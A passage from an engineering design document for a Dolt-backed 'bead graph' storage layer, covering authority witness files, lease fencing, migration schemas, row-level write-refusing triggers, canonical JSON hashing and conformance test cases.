refuses `"*"` (bdpwire's +decoder holds member shape, not key grammar; the test-only tripwire +`TestWildcardOwnedLinkKeyIsNotInThePinnedBundle` was retired by that adoption). + +### B3. Bodies, the witness manager, and legs + +Bodies take **`DBTX`**, the witness, and the process-local claim: + +```go +func ReadBeadInTx(ctx, tx DBTX, w authority.Witness, claim graphcap.LeaseClaim, req graphops.BeadRequest) (graphops.BeadRecord, error) +``` + +**`internal/storage/authority` — the witness manager** (no SQL): + +- **Installation key.** A random id created once in the directory the + tree's `UserConfigYamlPath` resolver (`internal/config/user_config_path.go`) + chooses — the documented `~/.config/bd` when possible, the native + `os.UserConfigDir` location otherwise — file `installation-id`, or the + path in `BEADS_INSTALLATION_ID_FILE`: `O_EXCL`, mode 0600, re-read after + creation (the winner of a race is what every process uses), directory + fsynced; an unresolvable directory fails closed. `InstallationKey = + sha256(id ":" realpath(.beads))`. Never the hostname. Stated residuals: the + id is **per OS user** (a service user's `bd serve` and an operator's + `bd --graph-mode link promote` compute different keys — cross-user shared roots are + unsupported, as the workspace gate already declares); an **ephemeral home** + regenerates it on every start (`ErrNotAuthority` until `bd --graph-mode link promote`); + a moved workspace needs a `bd --graph-mode link promote` (guidance: "moved or copied"). +- **`Load`** is a plain read; a pending transition triggers **recovery** + before any assertion (below). +- **`Advance`** takes the exclusive lock with a bounded poll (`internal/lockfile` + has no timeout API; the `workspacegate` poll is the precedent; both + `ErrLocked` and `ErrLockBusy` honored) and, **while holding it, asks the + evidence provider** to decide a **descendant-aware compare-and-advance**: + a candidate whose ledger head is an exact prefix of, and whose commit is + an ancestor of, the current witness's is a successful no-op; newer fields + are never replaced by older ones; a forked candidate is rejected — two + writers can commit in one order and advance in the other, and opaque + hashes alone cannot decide this; then `internal/atomicfile` (file fsync) + and a directory fsync. +- **Transitions are multi-phase, recovered by evidence.** `Begin` + (preflight: ensure the three ignore entries, refuse a git-tracked witness, + take the lock — **held continuously through `Finalize`/`Abandon`**, and + recovery acquires it first, so a live transition is never mistaken for + crash residue) writes `{kind, op_id, phase: begun, pre_head, + pre_ledger_head, pre_lease, remote_pre_head, expected_roots, + config_intent}`; every ledger event carries an indexed, hash-covered + `op_id` column and the commit message repeats it; the SQL-free manager + asks the store through an **evidence provider** ("is `op_id` in the + ledger?", "does the current commit descend from this one?", "is this + head an exact prefix?"); after the scoped commit `SetPhase(local_committed, op_commit)`; + after the push `published`; after `config.yaml` `config_written`; then + `Finalize` writes the new witness and clears the record. **Recovery** on + `Load` never trusts the phase alone: it first asks the ledger whether + `op_id` is present (a crash between the commit and the phase write leaves + `begun` with the operation committed — then it is `local_committed`); with + no local operation → `Abandon`; with a local operation on a shared + database when hazard R is not in force (no remote, **or any remote under + A9**) → publication is satisfied: **execute any outstanding + `config_intent`, record `config_written`, then `Finalize`**; with hazard + R in force → classify the remote with the same ledger-plus-eight-table + delta classifier as the push race, in this precedence: {contains this + operation → `published`; still at `remote_pre_head` → resume the push; + issue-plane-only movement → `ErrSyncRequired`, keep the commit; graph + delta from foreign work → undo and `Abandon`}; `published` → write config + if intended; `config_written` → `Finalize`. `LedgerApply`'s evidence is + kind-specific — the manifest's head, range, and expected roots — because + imported events keep their original `op_id`s (rewriting them would break + their hashes). Retrying a transition never mints a second epoch. Ordinary + published mutations (`Install`, P3 writes) carry an `op_id` in their event + and an `unpublished` marker until pushed, recovered the same way. +- **Order of an ordinary mutation:** DB commit (and publish) before the + witness advances; a crash between leaves the witness behind, which the + next assertion tolerates. Residual (P3): an acknowledged write never + witnessed before a restore. + +| Leg | Files | Body | +| --- | --- | --- | +| server Dolt (CLI) | `internal/storage/dolt/beadgraph_*.go` | witness + claim per call; `withReadTx` / `withRetryTx`; scoped commit; `PublishGraphMutation` | +| embedded Dolt (CLI only, A9 as amended by A10) | `internal/storage/embeddeddolt/beadgraph_*.go` | same body, `withConn`; solo topology wires the full local read contract with its witness and workspace-gate lease; client hosts wire `ErrNotAuthority` refusal. No embedded HTTP serving. | +| unit of work (**the serving leg**) | `internal/storage/domain/beadgraph.go`, `internal/storage/domain/db/beadgraph.go` (+ the version-control repository's new `MergeBase`/`ResetSoft`/`CheckoutTables`/`Revert`/`HashOfTables`), `internal/storage/uow/beadgraph_*.go` (`BeadGraphUseCase()`; `RunTxRead`; **`RunTxScopedResult(tables, msg)`** — new, since `doltServerTx.Commit` hardcodes `DOLT_COMMIT('-Am')`; `RunTxEphemeral` for renewal; `PublishGraphMutation` on the provider) | **same body** | + +Every protected body begins with `assertAuthorityInTx(ctx, tx, w, claim, +mutating)`: Scope row identity; ledger head present (exact prefix) and +`MAX(seq) >= w.LedgerSeq`; on hazard S the lease row — a protected read `SELECT`s it inside the +read transaction and checks holder key, epoch, **and `expires_at > +NOW(6)`** (a holder/epoch match alone proves only that no takeover was +visible in the snapshot); **reads never write the lease**: on the serving +leg the watcher renews and a read whose remaining interval is shorter than +its deadline fails closed as `lost`; a CLI read whose own lease has expired +regrants **once, ephemerally, before opening a fresh read transaction** +(a read transaction opened before the regrant keeps its expired snapshot — +probed) and retries; the read's context deadline is derived from the +remaining lease interval (the shared `route()` deadline of sixty seconds +exceeds the default TTL, so BDP rows carry their own per-row deadline below +a third of the TTL); a mutation reads the `fence` cell and a +mutation `UPDATE graph_authority_lease SET heartbeat_at = ?, expires_at = +NOW(6) + ttl, fence = WHERE id = 1 +AND holder_installation_key = ? AND epoch = ? AND fence = ` and requires **exactly one affected row** — which also **self-regrants +an expired lease that still names this workspace** (a server restart longer +than the TTL needs no promotion); a lease held by *another* holder is taken +**only with `--steal`** — its expiry alone never grants a takeover. **Dolt merges concurrent +transactions cell by cell** (probed on 2.1.8): a takeover that rewrites +`holder`/`epoch` while a mutation rewrites `heartbeat_at` lets *both* +commit; only a same-cell-different-value write is a `1213` serialization +failure. Every lease write — grant, steal, expiry reclaim, renewal, and the +per-mutation fence — therefore rewrites `fence` with a fresh random value, +so any two of them conflict (probed on Dolt 2.1.8 for the versioned path, +the ephemeral plain-`COMMIT` path, read-then-mutate, and disjoint-column +takeovers; the tree's `TestRowLockForcesConflictOnDisjointCellWrites` is the +same trick for `row_lock`). `withRetryTx`/`RunTxResult`/`RunTxEphemeral` +replay the loser, which **re-evaluates its preconditions** with a new random +fence: a still-authorized writer (two mutations, or a renewal and a +mutation) succeeds serially; a superseded, stolen, or expired-and-retaken +claim matches zero rows → refusal. On the scoped-commit path the `1213` +surfaces from `CALL DOLT_COMMIT` (the trailing `COMMIT` then succeeds with +nothing persisted), so `RunTxScopedResult` keeps that call inside the +retried closure. Bound, stated: a fenced transaction that spans a renewal loses +whenever the renewal commits first, so every fenced transaction **in the +shared-gate context** carries a deadline below a third of the TTL +(cancelled and retried past it; the replay budget allows more than one +attempt), in-process renewal is serialized against the process's own +mutations with jittered cadence, and `types install` is exclusive (the +server stopped; the sole writer sets `expires_at` itself and runs +unbounded). The `leases` precedent's +`INSERT … ON DUPLICATE KEY UPDATE … IF(...)` is a statement-time guard and +does not fence at commit; this design does not rely on it. The ledger +counter is the same shape: `UPDATE graph_ledger_seq SET next_seq = next_seq ++ 1, alloc_nonce = WHERE id = 0` — a bare `+ 1` from the same +value **converges** (both allocators commit, one increment lands; probed), +the random cell makes it a conflict, and the events PK is the second guard +(it too converges on byte-identical rows, which the nonce prevents); the **graph-state version** from the provider's `StateVersioner` +(Dolt: `DOLT_HASHOF_TABLE('')` for each of the eight +replicated graph tables in the fixed B4 order, the eight hashes hashed +together with sha256 — the function exists in 2.1.8 and takes exactly one +argument; `DOLT_HASHOF_DB()` is not used because every ephemeral write, +including this lease's own renewal, moves it) equal to +`w.StateVersion`, else `ErrStateChanged` **without validating in the held +transaction**; the accessor then validates under **one singleflight +coordinator per provider instance** (per-request `timedProvider` roles +share it) in its own transaction — ancestry `DOLT_MERGE_BASE(w.StateCommit, +HEAD)`; for the ledger-covered tables — descriptors, allocations, the +ledger — the delta must be explained by ledger events since the recorded +head, and bead and link bodies are checked by row provenance (ruling 13) — +advances the witness, and retries once. A refused delta is **undone** +when the recorded HEAD is an ancestor of HEAD: the eight tables are +reverted to their state at `w.StateCommit` in a new commit (the hazard-R +undo shape — table-scoped, later commits preserved) and the caller sees one +`ErrStateChanged`; otherwise the witness is marked `unverified` (ruling 14). The validation +also runs the **fence census** (Part D.7 = A): each replicated table carries +its three ruling-13 triggers; a missing one is repaired with the migration's +idempotent pair before the delta is judged. Descriptor caches are keyed by the descriptors table's hash. +Providers without `StateVersioner` fail closed. Exempt from the head check, +with their own preconditions: `Mint`, `Promote`, `Rotate`, `LedgerApply`, +`IdentityReader`, the witness-file operations. + +### B4. Schema (migrations; frozen once merged) + +Rules the tree enforces: migrations are **frozen once merged** — hygiene +check C forbids editing a shipped file (a git-diff check), and the runtime +`content_skew.go` compares `schema_migrations.content_hash` across clones; +**no `NOW()`/`UUID()`/`RAND()`** in migration SQL (check B) — timestamps and +ids come from Go; real-Dolt tests for anything a `sqlmock` echo cannot +exercise; DDL is not transactional across statements, so each `CREATE` is +guarded and resumable. **Initial P1 scope: eight replicated tables in five files**, with unresolved +`NNNN` migration slots: slot +0067 is occupied by the merged versioned-beads Phase 1 migration (`issue_versions`, +the `store_epoch` singleton, `issues.current_revision`); slot 0068 is reserved +by its still-open Phase 2 (`0068_add_attribution_status`, +`issue_versions.attribution_status` and byte-preserving `durable_state` LONGBLOB +storage; the `version_id` and participation +steps remain deferred at the §0a pin), +and the historical graph claim is on the still-open #6149 branch, not on +main (row added 2026-09-07 at c53ef8810 as "0069 and later"). Its current +rows propose Phase 3 at 0069–0070 and graph at 0071 if Donna agrees, while +the graph row still says 0069+ (exact source in plan §0a). The overlap is +unresolved and this document selects no slot; P1 must recheck after its ADR +and owner coordination — +`NNNN_beadgraph_scope.up.sql` (scope, history), `NNNN_beadgraph_types.up.sql`, +`NNNN_beadgraph_beads.up.sql`, `NNNN_beadgraph_links.up.sql`, +`NNNN_beadgraph_ledger.up.sql` (events, counter, allocations) — plus the +lease's three parts: its name in `doltIgnorePatterns`, a main-series +`NNNN_beadgraph_authority_lease.up.sql` that creates it for existing +workspaces (the 0055 `__temp__` + conditional `RENAME` shape), and +`ignored/NNNN_beadgraph_authority_lease.up.sql` for fresh clones (check D); +the lease joins `ignoredSource.sentinelTables`. It is reached exactly as +`issueops/lease.go` reaches `leases`: on the default branch's working set +(branch-qualified sessions do not see it — which is why publication stays +on the default branch, Part D.5). + +**The row-level fence (ruling 13).** Each of the five table files also +carries, for every replicated table it creates, three triggers — +`
_bi`, `
_bu`, `
_bd` (`BEFORE INSERT/UPDATE/DELETE … +FOR EACH ROW`), body `BEGIN IF @bd_graph_role IS NULL THEN SIGNAL SQLSTATE +'45000' SET MESSAGE_TEXT = '
: out-of-role write refused'; END IF; +END` — twenty-four in all, each a `DROP TRIGGER IF EXISTS` + `CREATE +TRIGGER` pair (Dolt 2.1.8 has no `CREATE TRIGGER IF NOT EXISTS`; the pair +is resumable), no `NOW()`/`RAND()`. The lease table carries none +(dolt-ignored, fenced by its own law). Probed on Dolt 2.1.8: the body +parses only in `BEGIN … END` form; it fires with errno 1644; a session +variable gates it; the triggers replicate through the versioned +`dolt_schemas` table by push, clone, and pull; they are silent on +`DOLT_MERGE` and `DOLT_PULL` (ruling 14's territory); and one +multi-statement `Exec` of such a file over the tree's +`multiStatements=true` DSN (`doltutil/dsn.go`) creates them — the files +ship through `execMigrationBody` unchanged (the `dolt sql` CLI splits on the body's +inner `;`, so the `AllMigrationsSQL()` bundle the CLI-parity test loads with +`dolt sql -f` needs a `DELIMITER`-wrapped `cliCompatibleMigrationSQL` +rendition — which the protocol path in turn refuses — and the parity +oracle, which excludes `dolt_` tables, gains a trigger count). Three **P0 +verification rows** gate the fence — a failure ships v0 with the +validator alone and ruling 13 records it: **answered 2026-09-07** +(`engdocs/BDP_P0_VERIFICATION_ROWS.md`, spikes on the P0 branch): (i) +**PASS** — `embeddeddolt.OpenSQL` with one pinned connection and one +`ExecContext` of the migration text creates the triggers, they fire, the +variable gates them, and `dolt_schemas` stages and commits; the +skip-by-rule branch is not needed; (ii) **PASS-WITH-RULE** — B3's clear on +`WithoutCancel` and poison on failure; (iii) **PASS-WITH-RULE** — hygiene +checks A–E pass on a trigger-carrying file and the real runner commits +`dolt_schemas` with the table and cursor; three P1 rules follow: the +CLI-bundle rendition above; check D's clone-local list and +`doltIgnorePatterns` must learn `graph_authority_lease` before the B4 twin +is enforced; `migrationSQLTouchesTable` cannot see trigger DDL, so a +pre-existing dirty `dolt_schemas` is refused by the post-pass signature +check rather than up front. **Ruled (Part D.7 = A, 2026-09-08):** +`dolt_schemas` is outside the eight hashed and inspected tables, so an +out-of-band `DROP TRIGGER` replicates silently and `content_skew.go` +cannot see it (equal hashes) — proposed: the validator and ruling 14's +inspection set gain a **fence census** over `dolt_schemas` (trigger +presence per graph table). +Clones receive the triggers with the schema and refuse raw DML too — +harmless: clones are not authorities, and their in-role paths set the +variable. `bd sql` gains no flag; the deliberate override is a +proxied-mode batch whose first statement sets the variable, or a raw +client session. + +**Collation.** Dolt's default collation is already binary +(`utf8mb4_0900_bin` — probed), and no migration in the tree declares one. +Every identifier column below still carries **`CHARACTER SET utf8mb4 +COLLATE utf8mb4_bin`** (written `BIN`) as the defense for providers whose +default is case-insensitive, with a contract case. + +**Two epochs, two spellings (recorded 2026-09-07).** Every `epoch` in the +graph tables — `graph_scope.epoch`, the lease's `epoch`, `last_epoch`, +`birth_epoch` — is the **authority epoch** of ruling 9/A5, rotated by +promote, rotate, and restore-without-continuity. It is not the History +lane's `store_epoch` (versioned beads, migration 0067: bumped only by +restore, destructive reinit, or a token-scheme change, and voiding only +addresses of versions no longer served). To keep SQL unambiguous, P1 spells +the graph columns `authority_epoch`, `last_authority_epoch`, and +`birth_authority_epoch`; the docs keep the short names as the concept's name. + +**Identity is Scope-relative.** Rows store the canonical Scope-relative +`path`; the absolute URL is `scope_url + path`, computed at the boundary, +so a URL rotation rewrites no rows. + +**JSON is bytes.** `properties` and `descriptor` are canonical JSON bytes in +`LONGBLOB`, never the engine `JSON` type (the tree measured `1.0`→`1`, +integers past 2^53 rounded, `1e300` expanded in `internal/storage/issueops/metadata_cas.go` and the public +`issueops/metadatacas.go`; `-0.0`→`0` per the role guide). The canonical +form (P0 decision 3, recorded 2026-09-07) is RFC 8785 serialization applied +to each number literal's **exact decimal value**, never its nearest binary64: +`1.0`→`1`, `-0.0`→`0`, `1e300`→`1e+300`, and integers past 2^53 survive +intact; the exponent bound applies to the normalized value so that +canonicalization is a fixed point. Every string entering a canonicalized or +hashed value must be **valid UTF-8** (P0 council: invalid bytes collapse to +U+FFFD in JSON, so distinct values would hash identically). The frozen +ledger hash layout is `graphops`' golden: JCS of the event's members with +absent members omitted, `at` as RFC 3339 UTC with six fractional digits, +sha256 hex, genesis = 64 zeros. The value limit is a P1 number (Part D.1). +Admission law (bdp#21, ruled 2026-09-08): a number literal whose exact +decimal value does not round-trip through IEEE-754 binary64 (nearest double, +serialized shortest, equal to the literal's value) is refused at admission +with the offending JSON pointer, so on every stored `properties`/`descriptor` +value the exact-decimal form and a JCS peer's binary64 serialization agree +byte-for-byte; the ledger framing is exempt (its `seq`/`epoch` are Go integers +hashed exactly over the full uint64 range) and its frozen layout is unchanged +(P0 commit 944b1fc9f). Descriptor canonical form sorts `conformsTo` (and endpoint +`conformsTo`) by code unit — they are sets — so reordered parents fingerprint +identically. Canonicalization is the only thing the store does to the +content of `properties`: a URI or pinned reference inside it is neither +validated, resolved, canonicalized as a URL, nor traversed, and it is not an +edge — `graph_links` holds every edge there is, and a reference that needs +graph semantics is a Link, owned under an explicit entry or the wildcard +(bdp#1 item 5 as amended, ruled 2026-09-08). + +**Provenance on every mutable row.** `last_authority_id` / `last_epoch` are +stamped by every mutation on descriptors, beads, links, and allocations. + +**The graph-state version** is `DOLT_HASHOF_TABLE('')` for each of +the eight replicated tables below, in this order, the eight hashes hashed +together with sha256; the lease is ephemeral and excluded. The descriptors +table's hash within it keys the descriptor cache. + +| Table | Columns (type; nullability) | Keys / constraints | +| --- | --- | --- | +| `graph_scope` | `id TINYINT NOT NULL` (always 1), `scope_url VARCHAR(2048) BIN NOT NULL`, `authority_id CHAR(32) NOT NULL`, `epoch BIGINT UNSIGNED NOT NULL`, `minted_at DATETIME(6) NOT NULL` | `PRIMARY KEY (id)`, `CHECK (id = 1)` — singleton. **Distinct from History's `store_epoch`** (migration 0067), which fences restore and replacement on the issue plane; this epoch fences promotion on the graph plane; a restore reasons about both | +| `graph_scope_history` | `scope_url VARCHAR(2048) BIN NOT NULL`, `refused_seq BIGINT UNSIGNED NOT NULL`, `refused_at DATETIME(6) NOT NULL`, `reason VARCHAR(64) NOT NULL` | `PRIMARY KEY (scope_url)`; derived from `refuse_url` events | +| `graph_type_descriptors` | `url VARCHAR(2048) BIN NOT NULL`, `descriptor LONGBLOB NOT NULL`, `fingerprint CHAR(64) NOT NULL`, `installed_seq BIGINT UNSIGNED NOT NULL`, `installed_at DATETIME(6) NOT NULL`, `last_authority_id CHAR(32) NOT NULL`, `last_epoch BIGINT UNSIGNED NOT NULL` | `PRIMARY KEY (url)`; `UNIQUE (fingerprint)` | +| `graph_beads` | `path VARCHAR(1024) BIN NOT NULL`, `type_url VARCHAR(2048) BIN NOT NULL`, `revision CHAR(32) NOT NULL`, `attribution_principal VARCHAR(512) NULL`, `attribution_status ENUM('claimed','unknown') NULL`, `properties LONGBLOB NOT NULL`, `last_authority_id CHAR(32) NOT NULL`, `last_epoch BIGINT UNSIGNED NOT NULL`, `created_at DATETIME(6) NOT NULL`, `updated_at DATETIME(6) NOT NULL` | `PRIMARY KEY (path)`; `INDEX (type_url, path)`; `FOREIGN KEY (type_url) REFERENCES graph_type_descriptors(url)`; attribution columns both NULL or both set | +| `graph_links` | `path VARCHAR(1024) BIN NOT NULL`, `type_url … BIN NOT NULL`, `revision CHAR(32) NOT NULL`, `source_kind ENUM('in','ext') NOT NULL`, `source_path VARCHAR(1024) BIN NULL`, `source_url VARCHAR(2048) BIN NULL`, `source_pin VARCHAR(512) BIN NULL`, `target_kind ENUM('in','ext') NOT NULL`, `target_path VARCHAR(1024) BIN NULL`, `target_url VARCHAR(2048) BIN NULL`, `target_pin VARCHAR(512) BIN NULL` (endpoints symmetric and pins variable-width — **changed 2026-09-07, P0 council:** the pinned fixtures carry external-source Links such as `urn:external:pin-witness → beads/demo-f`, and a pin is an opaque string echoed byte-identically, so `CHAR(32)` cannot hold it), `attribution_*`, `properties LONGBLOB NOT NULL`, `last_authority_id`, `last_epoch`, timestamps | `PRIMARY KEY (path)`; `INDEX (source_path, type_url, path)`, `INDEX (target_path, type_url, path)` (a typed incoming read is a keyed scan — accepted from sjarmak's review); `FOREIGN KEY (source_path) REFERENCES graph_beads(path)` (a NULL `source_path` — external source — skips the check); `CHECK` exactly one of `source_path`/`source_url` per `source_kind` and exactly one of `target_path`/`target_url` per `target_kind`, and at least one endpoint `in` (the pinned spec's endpoint law); **no** uniqueness on (type, source, target) | +| `graph_ledger_seq` | `id TINYINT NOT NULL` (always 0), `next_seq BIGINT UNSIGNED NOT NULL` (`next` is reserved in Dolt's parser), `alloc_nonce CHAR(32) NOT NULL` | `PRIMARY KEY (id)` — **the single-row sequence counter**: `UPDATE … SET next_seq = next_seq + 1, alloc_nonce = WHERE id = 0` inside the mutation's transaction; the random cell is what makes two allocators a `1213` conflict (a bare increment converges under Dolt's cell-wise merge — probed); a rolled-back transaction burns no seq; seeded by `Mint`; set by `LedgerApply` | +| `graph_ledger_events` | `seq BIGINT UNSIGNED NOT NULL`, `op_id CHAR(32) NOT NULL` (indexed; covered by the hash), `kind ENUM('mint','install','update','promote','rotate','allocate','tombstone','refuse_url') NOT NULL`, `path VARCHAR(1024) BIN NULL`, `scope_url VARCHAR(2048) BIN NULL`, `resource_kind ENUM('bead','link') NULL`, `revision CHAR(32) NULL`, `state ENUM('pruned','erased') NULL`, `fingerprint CHAR(64) NULL`, `authority_id CHAR(32) NOT NULL`, `epoch BIGINT UNSIGNED NOT NULL`, `at DATETIME(6) NOT NULL`, `prev_hash CHAR(64) NOT NULL`, `hash CHAR(64) NOT NULL` | `PRIMARY KEY (seq)` — **append-only, hash-chained**; `UNIQUE (hash)`; `INDEX (path, seq)`; `INDEX (op_id)` (non-unique: one operation may append several events); `CHECK` per kind. Every mutation is an event | +| `graph_allocations` | `path VARCHAR(1024) BIN NOT NULL`, `resource_kind ENUM('bead','link') NOT NULL`, `birth_seq BIGINT UNSIGNED NOT NULL`, `birth_authority_id CHAR(32) NOT NULL`, `birth_epoch BIGINT UNSIGNED NOT NULL`, `state ENUM('live','reserved','pruned','erased') NOT NULL`, `tombstone_seq BIGINT UNSIGNED NULL`, `last_authority_id CHAR(32) NOT NULL`, `last_epoch BIGINT UNSIGNED NOT NULL` | `PRIMARY KEY (path)` — the O(1)/O(log n) ID test (ruling 3); **derived state**; `reserved` = ledger-applied with no row (A4) | +| `graph_authority_lease` (**dolt-ignored**, never replicates) | `id TINYINT NOT NULL`, `scope_url VARCHAR(2048) BIN NOT NULL`, `authority_id CHAR(32) NOT NULL` (bound to the Scope row), `holder_installation_key CHAR(64) NOT NULL` (the workspace), `renewer CHAR(32) NOT NULL` (informational: the process that last renewed), `epoch BIGINT UNSIGNED NOT NULL`, `granted_at DATETIME(6) NOT NULL`, `expires_at DATETIME(6) NOT NULL`, `heartbeat_at DATETIME(6) NOT NULL`, **`fence CHAR(32) NOT NULL`** | `PRIMARY KEY (id)`, `CHECK (id = 1)`; the hazard-S fence (A7): **every write rewrites `fence`** with a fresh random value and predicates on the value it read — the one cell all lease writers collide on; renewals through the ephemeral commit form | + +`updated_at` is protocol-irrelevant bookkeeping. Bead `type_url` and Link +`source_path`/`target_*` are immutable after insert. + +**The witness file: `.beads/graph-authority.local.json`.** +`{installation_key, scope_url, authority_id, epoch, ledger_seq, +ledger_hash, state_version, state_commit, unverified, granted_at, +pending?}`. Written only by the manager (B3). What each operation does to +it: `git clone` / `dolt clone` — absent; pull — untouched; `bd backup +restore` / `DOLT_BACKUP` restore to an **older** state — present, and the +ledger head it names is no longer in the store → `ErrStateRewound` (a +restore to the matching head is not a rewind; `bd backup restore`'s +`MarkUnverified` is the belt for that case and is tested separately); directory copy to another path +— installation key mismatch → `ErrNotAuthority`; a copy to the same path on +another machine — a different installation id → `ErrNotAuthority`; a +**whole-installation copy** (id and path both preserved) — the A5 +residual, undetectable without an arbiter. + +**Cross-repo coupling (bts).** `DoltTeamServer` workspaces refuse to open +when `current < latest` with **no `BD_IGNORE_SCHEMA_SKEW` hatch** — a +**numeric-version** comparison only. The coupling is a cross-repository +**release-parity gate**: bts must ship byte-identical copies of the six +main-series files and the ignored-series twin (the +`schema_migrations.content_hash` values `migration_content_hashes.go` +reads are what a bts-side parity test compares). The migration PR is +sequenced with bts; the remote-migrate gate (#4259) forces +migrate-vs-adopt on every remote-backed workspace at upgrade. + +**P1 must ship what P0 settled (recorded 2026-09-07).** `source_path` is +nullable with the `CHECK` that at least one endpoint is `in` (the symmetric +columns above); the ledger counter's exhaustion rule; the descriptor canonical +form and UTF-8 rule stated under "JSON is bytes"; `migrationSQLTouchesTable` +learns `CREATE TRIGGER … ON
` and `DROP TRIGGER [IF EXISTS] ` +separately (a DROP names no table; metadata lookup); the Dolt lane runs the +ruling-13 spikes (they gate on `testutil.RequireDoltBinary` alone). The +installer's `Max` law covers the wildcard declaration (bdp#1, 2026-09-08): +an owning declaration — explicit or `"*"` — without `max` is refused; the +wildcard's `max` bounds the Bead's **whole owned set** — every owned Link +across every owned type, explicit entries included — and an explicit entry's +`max` MUST NOT exceed the wildcard's (refused at descriptor validation); +ruled OW1 = A on 2026-09-08, the literal reading (P0's narrower first reading +is being flipped). The P1 batched owned-Links read for a wildcard owner +selects all owned Links grouped by type under `LIMIT wildcard.max + 1`, +inside the ≤ 7-statement budget row; that single statement covers only the +whole-set bound, so an explicit group over its own `max` is caught after +grouping in the body or refused at acceptance — `graphops.CheckBeadRecord` +enforces both bounds at acceptance (P0 commit ec692e146). + +### B5. Decorators, censuses, and every embedding surface + +- `internal/storage/hook_beadgraph_*.go` (six files): declared, recurse + **unwrapped**; `storage.RoleFiresHooks` is a type switch over hook + wrappers, so an unwrapped role needs no entry; a test asserts each graph + role answers `false`. Added to `role_accessor_decorator_test.go`'s table. +- `internal/telemetry/beadgraph_*.go`: every method spanned; the + **telemetry census** gains the classification. +- **Three censuses**, each must learn `graphops`: the storage reflection + census, the telemetry census, and the conformance package's + **source-parsed** `facadePackages` map (`role_coverage_scan_test.go`) — + without the third, `TestRoleFacadeCensusAgreesWithReflection` + (`role_coverage_gate_test.go`) fails. +- `internal/storage/uow/notifying.go` (explicit accessors, parity test); + `internal/httpapi/claim.go`'s `timedProvider` (which builds roles over the wrapper today and gains a `beadsDir` getter); + `cmd/bd/serve.go`'s `serveRoleSource` and its stubs; + every surface that embeds the store or a provider, enumerated by + `grep -l 'func (.*) Memories()'` at implementation. Because a required + method is promoted silently through every interface-embedding wrapper, + the censuses are what catch an undeclared one; the compiler catches direct + implementers — `internal/jira/tracker_test.go`'s `configStore` is one (a + flat implementer, not an embedder) and fails to compile until it gains the + stubs. + +### B6. `backend/` public surface and depguard + +- **No aliases** (amendment A4): `graphops` is public and imported + directly, like `issueops`. `TestPublicSurfaceComplete` stays green + *because* no `internal/` type is reachable from the new accessors — a + test asserts that. +- `backend/backend.go`'s doc-comment sketch of a minimal external backend + gains the six accessors as `ErrUnsupported` stubs (option A; there is no + example package under `backend/` — the stub contract is + `conformance.RunUnsupportedContract`). The **CHANGELOG entry** follows the + joint `ReadyClaimer`/`BatchCloser` entry's wording ("must add both methods + to compile"). +- `.golangci.yml` gains a **new, stricter** rule (cmd/bd imports the + `issueops` tx-body package directly today, so this is not the existing + convention): `internal/storage/graphops` is importable only by + `internal/storage/{dolt,embeddeddolt,domain/db,uow,graphcap}` and its own + tests. A + mutation test **deletes the deny entry and asserts that a fixture + violating it then passes lint** — which proves the entry is what fails + the violation. + +### B7. Conformance + +- Families: `beadgraph_reader_contract.go`, `beadgraph_types_contract.go` + (reader + installer), `beadgraph_identity_contract.go` (reader, + bootstrapper, admin), each citing the leaf doc by line. +- `RoleContractBundle` gains six factory fields **and** their rows in + `role_bundle_cases.go`; `BeadGraphFixture` carries the seed hook, a + `Witness` hook (a temp workspace directory and installation id standing + in for `.beads/` and the user config dir), and a `Remote` hook (a temp + Dolt remote for hazard-R cases *[deferred under A9]*). +- Wirings on all three legs (under A9 as amended by A10 the embedded leg wires the full + read contract for the solo topology and the refusal contract for client hosts); the leg registry + (`internal/storage/contract_leg_registry_test.go`) and + `TestEveryLegWiresEveryRoleContract` see them; both coverage gates apply. +- Non-capable stores answer `*storage.ErrUnsupported{Op: ""}` — the six strings pinned — proven per accessor. +- Cases the councils asked for by name: a clone produced by push/pull + refuses; a **`DOLT_BACKUP` restore of an authority** refuses + (`ErrStateRewound`); a **copied witness** in another directory refuses; + an **expired claim held by another holder** cannot mutate and is not taken over by expiry alone; an expired claim naming this workspace self-regrants; a **stale fence value** cannot mutate; a protected read on an expired, un-regranted lease refuses; + a **lease takeover between a mutation's SELECT and its commit** refuses + **even when the takeover rewrites disjoint columns** (the fence cell); + two allocators with **byte-identical event payloads** conflict on the + counter's nonce; + two clones minting before either pulls (hazard R: the second push is a + race and is undone); concurrent mint on one database (one wins); a + promotion race (one CAS wins; the loser's push races, is undone by soft + reset + checkout, unrelated dirty tables untouched); a **graph delta + under an unchanged `(authority_id, epoch)`** fails closed on a race; + **issue-plane-only divergence** keeps the commit and answers + `ErrSyncRequired`; a **network failure on push** keeps the commit as + unpublished and retries; **undo when HEAD moved** reverts and preserves + later commits; **each transition phase** recovers on the next load + (resume and undo, both outcomes); an `Install` is published on hazard R; + a hazard-R CLI read with a stale observation fetches and fails closed + past the grace; heartbeat detects a changed `(authority_id, epoch)`; + rotation refuses the old URL and updates `config.yaml`; `bd config set + bdp.scope_url` is refused with a witness present, and via + `set-many`/`unset`; `bd --graph-mode link serve`'s staged startup releases the + exclusive gates before serving; a registered backend serves no rows; the + watcher disables rows atomically and joins before shutdown; a heartbeat + does **not** change the graph-state version; case-differing paths + distinct and code-unit ordered; ownedLinks completeness incl. **empty + groups** — empty groups only for explicit declarations, wildcard-owned + groups only when a Link is present, none keyed `"*"` — and the bound under + `LIMIT remaining+1`; keyset continuation + inside one transaction; gone-family incl. `reserved`; a promote in + another process is honored by the next read; descriptor read on a + non-authority clone refuses; `bd init` re-run on any clone succeeds and + installs nothing; `Mint` installs the built-in catalog with `install` + events; ledger snapshot/apply round trip, gap refusal, foreign-lineage + refusal, recovery-predicate regrant, counter set; the installer refuses + an owning declaration without `Max`; statement budgets per method; + `ErrStateChanged` triggers one validation under concurrent reads and the + reads retry once. +- **Ruling 13 rows:** a raw `INSERT`, `UPDATE`, and `DELETE` on each of + the eight replicated tables without the variable is refused (errno + 1644, the table named); the same statement with `@bd_graph_role = 1` + in the session succeeds; a three-way `DOLT_MERGE` and a `DOLT_PULL` + carrying graph rows land without the variable (the validator, not the + trigger, decides them); a mutation followed by a raw statement on the + same one-connection pool is refused (no leak); a body that omits the + variable cannot write; a clone carries the triggers; the validator + refuses a descriptors/allocations/ledger delta unexplained by ledger + events and marks the witness `unverified`. +- **Ruling 14 rows (per route):** an SQL pull whose fetched delta touches + a graph table with foreign provenance or ledger events of a foreign + lineage is refused before merging, naming the table, and HEAD does not + move; the same delta arriving by the CLI-subprocess route lands, and the + next in-role transaction reverts the eight tables to the recorded HEAD + in a new commit with later issue-plane commits preserved; `--strategy + theirs` on a pull with a graph-table conflict leaves the graph table + untouched and the pull failed; a clone without a witness takes the + remote's 